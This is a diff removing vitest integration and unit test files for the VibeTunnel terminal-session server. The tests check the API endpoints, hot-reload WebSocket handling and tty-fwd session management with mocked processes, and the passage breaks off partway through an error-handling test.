||||
|
|
@ -1,174 +0,0 @@
|
|||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import request from 'supertest';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
import { app, server } from '../../server';
|
||||
import type { AddressInfo } from 'net';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-lifecycle-test', uuidv4());
|
||||
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
|
||||
|
||||
describe('Server Lifecycle Integration Tests', () => {
|
||||
let port: number;
|
||||
|
||||
beforeAll(() => {
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('Server Initialization', () => {
|
||||
it('should start server and create control directory', async () => {
|
||||
// Start server
|
||||
await new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
server.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as AddressInfo).port;
|
||||
resolve();
|
||||
});
|
||||
} else {
|
||||
const address = server.address();
|
||||
port = (address as AddressInfo).port;
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
|
||||
expect(port).toBeGreaterThan(0);
|
||||
expect(server.listening).toBe(true);
|
||||
|
||||
// Verify control directory exists
|
||||
expect(fs.existsSync(testControlDir)).toBe(true);
|
||||
});
|
||||
|
||||
it('should have all API endpoints available', async () => {
|
||||
const endpoints = [
|
||||
{ method: 'get', path: '/api/sessions', expected: 200 },
|
||||
{ method: 'post', path: '/api/sessions', body: {}, expected: 400 }, // Needs valid body
|
||||
{ method: 'get', path: '/api/test-cast', expected: [200, 404] }, // May not exist
|
||||
{ method: 'get', path: '/api/fs/browse', expected: 200 },
|
||||
{ method: 'post', path: '/api/mkdir', body: {}, expected: 400 }, // Needs valid body
|
||||
{ method: 'post', path: '/api/cleanup-exited', expected: 200 },
|
||||
];
|
||||
|
||||
for (const endpoint of endpoints) {
|
||||
let response;
|
||||
if (endpoint.method === 'post' && endpoint.body !== undefined) {
|
||||
response = await request(app)[endpoint.method](endpoint.path).send(endpoint.body);
|
||||
} else {
|
||||
response = await request(app)[endpoint.method as 'get'](endpoint.path);
|
||||
}
|
||||
|
||||
// Should not return 404 (may return other errors like 400 for missing params)
|
||||
const expectedStatuses = Array.isArray(endpoint.expected)
|
||||
? endpoint.expected
|
||||
: [endpoint.expected];
|
||||
expect(expectedStatuses).toContain(response.status);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Middleware and Security', () => {
|
||||
it('should parse JSON bodies', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ test: 'data' })
|
||||
.set('Content-Type', 'application/json')
|
||||
.expect(400); // Will fail validation but should parse the body
|
||||
|
||||
expect(response.body).toHaveProperty('error');
|
||||
});
|
||||
|
||||
it('should handle CORS headers', async () => {
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
// In production, you might want to check for CORS headers
|
||||
// For now, just verify the request succeeds
|
||||
expect(Array.isArray(response.body)).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle large request bodies', async () => {
|
||||
const largeCommand = Array(1000).fill('arg');
|
||||
|
||||
const response = await request(app).post('/api/sessions').send({
|
||||
command: largeCommand,
|
||||
workingDir: os.tmpdir(),
|
||||
});
|
||||
|
||||
// The request actually succeeds with a large command array
|
||||
// This test is just verifying the server can handle large bodies
|
||||
expect(response.status).toBeLessThan(500); // No server error
|
||||
if (response.status === 200) {
|
||||
expect(response.body).toHaveProperty('sessionId');
|
||||
// Clean up the session
|
||||
await request(app).delete(`/api/sessions/${response.body.sessionId}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Concurrent Request Handling', () => {
|
||||
it('should handle multiple simultaneous requests', async () => {
|
||||
const requestCount = 10;
|
||||
const requests = [];
|
||||
|
||||
for (let i = 0; i < requestCount; i++) {
|
||||
requests.push(request(app).get('/api/sessions'));
|
||||
}
|
||||
|
||||
const responses = await Promise.all(requests);
|
||||
|
||||
// All requests should succeed
|
||||
responses.forEach((response) => {
|
||||
expect(response.status).toBe(200);
|
||||
expect(Array.isArray(response.body)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle mixed read/write operations', async () => {
|
||||
const operations = [
|
||||
request(app).get('/api/sessions'),
|
||||
request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'test1'],
|
||||
workingDir: os.tmpdir(),
|
||||
}),
|
||||
request(app).get('/api/test-cast'),
|
||||
request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'test2'],
|
||||
workingDir: os.tmpdir(),
|
||||
}),
|
||||
request(app).get('/api/fs/browse').query({ path: os.tmpdir() }),
|
||||
];
|
||||
|
||||
const responses = await Promise.all(operations);
|
||||
|
||||
// All operations should complete without errors
|
||||
responses.forEach((response) => {
|
||||
expect(response.status).toBeLessThan(500); // No server errors
|
||||
});
|
||||
|
||||
// Clean up created sessions
|
||||
const createdSessions = responses
|
||||
.filter((r) => r.body && r.body.sessionId)
|
||||
.map((r) => r.body.sessionId);
|
||||
|
||||
for (const sessionId of createdSessions) {
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,356 +0,0 @@
|
|||
import { describe, it, expect, afterEach } from 'vitest';
|
||||
import WebSocket from 'ws';
|
||||
import request from 'supertest';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
import { app, server, wss } from '../../server';
|
||||
import type { AddressInfo } from 'net';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-ws-test', uuidv4());
|
||||
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
|
||||
|
||||
beforeAll(() => {
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('WebSocket Integration Tests', () => {
|
||||
let port: number;
|
||||
let wsUrl: string;
|
||||
let activeSessionIds: string[] = [];
|
||||
|
||||
beforeAll(async () => {
|
||||
// Get server port
|
||||
await new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
server.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as AddressInfo).port;
|
||||
wsUrl = `ws://localhost:${port}`;
|
||||
resolve();
|
||||
});
|
||||
} else {
|
||||
const address = server.address();
|
||||
port = (address as AddressInfo).port;
|
||||
wsUrl = `ws://localhost:${port}`;
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
// Clean up sessions
|
||||
for (const sessionId of activeSessionIds) {
|
||||
try {
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
} catch (_e) {
|
||||
// Ignore
|
||||
}
|
||||
}
|
||||
|
||||
// Close all WebSocket connections
|
||||
wss.clients.forEach((client) => {
|
||||
if (client.readyState === WebSocket.OPEN) {
|
||||
client.close();
|
||||
}
|
||||
});
|
||||
|
||||
// Close server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => resolve());
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up sessions after each test
|
||||
activeSessionIds = [];
|
||||
});
|
||||
|
||||
describe('Hot Reload WebSocket', () => {
|
||||
it('should accept hot reload connections', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
ws.on('open', () => {
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
ws.close();
|
||||
resolve();
|
||||
});
|
||||
|
||||
ws.on('error', reject);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject non-hot-reload connections', async () => {
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
ws.terminate();
|
||||
reject(new Error('Test timeout: WebSocket did not close'));
|
||||
}, 5000);
|
||||
|
||||
ws.on('close', (code, reason) => {
|
||||
clearTimeout(timeout);
|
||||
expect(code).toBe(1008);
|
||||
expect(reason.toString()).toContain('Unknown WebSocket endpoint');
|
||||
resolve();
|
||||
});
|
||||
|
||||
ws.on('error', () => {
|
||||
// Expected - connection should be rejected
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle multiple hot reload clients', async () => {
|
||||
const clients: WebSocket[] = [];
|
||||
const connectionPromises = [];
|
||||
|
||||
// Connect multiple clients
|
||||
for (let i = 0; i < 3; i++) {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
clients.push(ws);
|
||||
|
||||
const promise = new Promise<void>((resolve, reject) => {
|
||||
ws.on('open', () => resolve());
|
||||
ws.on('error', reject);
|
||||
});
|
||||
connectionPromises.push(promise);
|
||||
}
|
||||
|
||||
await Promise.all(connectionPromises);
|
||||
|
||||
// All clients should be connected
|
||||
expect(clients.every((ws) => ws.readyState === WebSocket.OPEN)).toBe(true);
|
||||
|
||||
// Clean up
|
||||
clients.forEach((ws) => ws.close());
|
||||
});
|
||||
});
|
||||
|
||||
describe('Terminal Session WebSocket (Future)', () => {
|
||||
// Note: The current server implementation only supports hot reload WebSockets
|
||||
// These tests document the expected behavior for terminal session WebSockets
|
||||
// when that functionality is implemented
|
||||
|
||||
it.skip('should subscribe to terminal session output', async () => {
|
||||
// Create a session first
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'WebSocket Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect WebSocket and subscribe
|
||||
const ws = new WebSocket(wsUrl);
|
||||
const messages: unknown[] = [];
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Subscribe to session
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: sessionId,
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for messages
|
||||
await new Promise((resolve) => setTimeout(resolve, 1000));
|
||||
|
||||
// Should have received output
|
||||
const outputMessages = messages.filter((m: any) => m.type === 'terminal-output');
|
||||
expect(outputMessages.length).toBeGreaterThan(0);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it.skip('should handle terminal input via WebSocket', async () => {
|
||||
// Create an interactive session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Interactive Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect and send input
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Send input
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'input',
|
||||
sessionId: sessionId,
|
||||
data: 'echo "Hello WebSocket"\n',
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for processing
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Get snapshot to verify input was processed
|
||||
const snapshotResponse = await request(app)
|
||||
.get(`/api/sessions/${sessionId}/snapshot`)
|
||||
.expect(200);
|
||||
|
||||
const output = snapshotResponse.body.lines.join('\n');
|
||||
expect(output).toContain('Hello WebSocket');
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it.skip('should handle terminal resize via WebSocket', async () => {
|
||||
// Create a session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Resize Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Connect and resize
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', () => {
|
||||
// Send resize
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'resize',
|
||||
sessionId: sessionId,
|
||||
cols: 120,
|
||||
rows: 40,
|
||||
})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
// Wait for processing
|
||||
await new Promise((resolve) => setTimeout(resolve, 200));
|
||||
|
||||
// Verify resize (would need to check terminal dimensions)
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Error Handling', () => {
|
||||
it('should handle malformed messages gracefully', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
ws.on('open', () => {
|
||||
// Send invalid JSON
|
||||
ws.send('invalid json {');
|
||||
|
||||
// Should not crash the server
|
||||
setTimeout(() => {
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
ws.close();
|
||||
resolve();
|
||||
}, 100);
|
||||
});
|
||||
|
||||
ws.on('error', reject);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle connection drops', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Abruptly terminate connection
|
||||
ws.terminate();
|
||||
|
||||
// Server should continue functioning
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(Array.isArray(response.body)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Performance', () => {
|
||||
it('should handle rapid message sending', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Send many messages rapidly
|
||||
const messageCount = 100;
|
||||
for (let i = 0; i < messageCount; i++) {
|
||||
ws.send(JSON.stringify({ type: 'test', index: i }));
|
||||
}
|
||||
|
||||
// Should not crash or lose connection
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle large messages', async () => {
|
||||
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
|
||||
|
||||
await new Promise<void>((resolve) => {
|
||||
ws.on('open', resolve);
|
||||
});
|
||||
|
||||
// Send a large message
|
||||
const largeData = 'x'.repeat(1024 * 1024); // 1MB
|
||||
ws.send(JSON.stringify({ type: 'test', data: largeData }));
|
||||
|
||||
// Should handle it without issues
|
||||
await new Promise((resolve) => setTimeout(resolve, 200));
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,495 +0,0 @@
|
|||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { spawn } from 'child_process';
|
||||
import { EventEmitter } from 'events';
|
||||
|
||||
// Mock modules
|
||||
vi.mock('child_process', () => ({
|
||||
spawn: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('fs', () => {
|
||||
const mockFsDefault = {
|
||||
existsSync: vi.fn(() => true),
|
||||
mkdirSync: vi.fn(),
|
||||
readdirSync: vi.fn(() => []),
|
||||
createReadStream: vi.fn(() => {
|
||||
const stream = new EventEmitter();
|
||||
process.nextTick(() => stream.emit('end'));
|
||||
return stream;
|
||||
}),
|
||||
};
|
||||
|
||||
return {
|
||||
default: mockFsDefault,
|
||||
...mockFsDefault, // Also export named exports
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('os', () => {
|
||||
const mockOs = {
|
||||
homedir: () => '/home/test',
|
||||
};
|
||||
|
||||
return {
|
||||
default: mockOs,
|
||||
...mockOs, // Also export named exports
|
||||
};
|
||||
});
|
||||
|
||||
describe('Session Manager', () => {
|
||||
let mockSpawn: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
// Default mock for tty-fwd
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('{}'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('Session Lifecycle', () => {
|
||||
it('should create a session with valid parameters', async () => {
|
||||
await import('../../server');
|
||||
|
||||
// Simulate session creation through the spawn command
|
||||
const command = ['bash', '-l'];
|
||||
const workingDir = '/home/test/projects';
|
||||
|
||||
const mockProcess = {
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Session created successfully'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockProcess);
|
||||
|
||||
// Test the spawn command execution
|
||||
const args = ['spawn', '--name', 'Test Session', '--cwd', workingDir, '--', ...command];
|
||||
const result = await new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', args);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', () => {
|
||||
resolve(output);
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toBe('Session created successfully');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
|
||||
});
|
||||
|
||||
it('should handle session with environment variables', async () => {
|
||||
const env = { NODE_ENV: 'test', CUSTOM_VAR: 'value' };
|
||||
const command = ['node', 'app.js'];
|
||||
|
||||
// Test environment variable passing
|
||||
const envArgs = Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]);
|
||||
const args = ['spawn', ...envArgs, '--', ...command];
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
mockSpawn('tty-fwd', args);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
'tty-fwd',
|
||||
expect.arrayContaining(['--env', 'NODE_ENV=test', '--env', 'CUSTOM_VAR=value'])
|
||||
);
|
||||
});
|
||||
|
||||
it('should list all active sessions', async () => {
|
||||
const mockSessions = {
|
||||
'session-1': {
|
||||
cmdline: ['vim', 'test.txt'],
|
||||
cwd: '/home/test',
|
||||
exit_code: null,
|
||||
name: 'vim',
|
||||
pid: 1234,
|
||||
started_at: '2024-01-01T00:00:00Z',
|
||||
status: 'running',
|
||||
stdin: '/tmp/session-1.stdin',
|
||||
'stream-out': '/tmp/session-1.out',
|
||||
waiting: false,
|
||||
},
|
||||
'session-2': {
|
||||
cmdline: ['bash'],
|
||||
cwd: '/home/test/projects',
|
||||
exit_code: 0,
|
||||
name: 'bash',
|
||||
pid: 5678,
|
||||
started_at: '2024-01-01T00:10:00Z',
|
||||
status: 'exited',
|
||||
stdin: '/tmp/session-2.stdin',
|
||||
'stream-out': '/tmp/session-2.out',
|
||||
waiting: false,
|
||||
},
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from(JSON.stringify(mockSessions)));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
// Execute list command
|
||||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(JSON.parse(output));
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toEqual(mockSessions);
|
||||
expect(Object.keys(result as Record<string, unknown>)).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('should terminate a running session', async () => {
|
||||
const sessionId = 'session-to-terminate';
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Session terminated'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', sessionId]);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toBe('Session terminated');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['terminate', sessionId]);
|
||||
});
|
||||
|
||||
it('should clean up exited sessions', async () => {
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Cleaned up 3 exited sessions'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['clean']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toBe('Cleaned up 3 exited sessions');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['clean']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Session I/O Operations', () => {
|
||||
it('should write input to a session', async () => {
|
||||
const sessionId = 'interactive-session';
|
||||
const input = 'echo "Hello, World!"\n';
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
mockSpawn('tty-fwd', ['write', sessionId, input]);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['write', sessionId, input]);
|
||||
});
|
||||
|
||||
it('should resize terminal dimensions', async () => {
|
||||
const sessionId = 'resize-session';
|
||||
const cols = 120;
|
||||
const rows = 40;
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
mockSpawn('tty-fwd', ['resize', sessionId, String(cols), String(rows)]);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['resize', sessionId, '120', '40']);
|
||||
});
|
||||
|
||||
it('should get terminal snapshot', async () => {
|
||||
const sessionId = 'snapshot-session';
|
||||
const mockSnapshot = {
|
||||
lines: [
|
||||
'user@host:~$ ls -la',
|
||||
'total 48',
|
||||
'drwxr-xr-x 6 user user 4096 Jan 1 00:00 .',
|
||||
'drwxr-xr-x 20 user user 4096 Jan 1 00:00 ..',
|
||||
],
|
||||
cursor: { x: 18, y: 0 },
|
||||
cols: 80,
|
||||
rows: 24,
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from(JSON.stringify(mockSnapshot)));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const result = await new Promise((resolve, reject) => {
|
||||
const proc = mockSpawn('tty-fwd', ['snapshot', sessionId]);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
if (code === 0) {
|
||||
resolve(JSON.parse(output));
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toEqual(mockSnapshot);
|
||||
expect((result as { lines: unknown[]; cursor: { x: number; y: number } }).lines).toHaveLength(
|
||||
4
|
||||
);
|
||||
expect((result as { lines: unknown[]; cursor: { x: number; y: number } }).cursor).toEqual({
|
||||
x: 18,
|
||||
y: 0,
|
||||
});
|
||||
});
|
||||
|
||||
it('should stream terminal output', async () => {
|
||||
const sessionId = 'stream-session';
|
||||
const mockStreamProcess = new EventEmitter() as EventEmitter & {
|
||||
stdout: EventEmitter;
|
||||
stderr: EventEmitter;
|
||||
kill: ReturnType<typeof vi.fn>;
|
||||
};
|
||||
mockStreamProcess.stdout = new EventEmitter();
|
||||
mockStreamProcess.stderr = new EventEmitter();
|
||||
mockStreamProcess.kill = vi.fn();
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
|
||||
|
||||
// Start streaming
|
||||
const streamData: string[] = [];
|
||||
const proc = mockSpawn('tty-fwd', ['stream', sessionId]);
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
streamData.push(data.toString());
|
||||
});
|
||||
|
||||
// Simulate streaming data
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('Line 1\n'));
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('Line 2\n'));
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('Line 3\n'));
|
||||
|
||||
expect(streamData).toEqual(['Line 1\n', 'Line 2\n', 'Line 3\n']);
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['stream', sessionId]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling', () => {
|
||||
it('should handle session creation failure', async () => {
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Error: Failed to create session'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(1);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const result = await new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'invalid-command']);
|
||||
let error = '';
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
resolve({ code, error });
|
||||
});
|
||||
});
|
||||
|
||||
expect((result as { code: number; error: string }).code).toBe(1);
|
||||
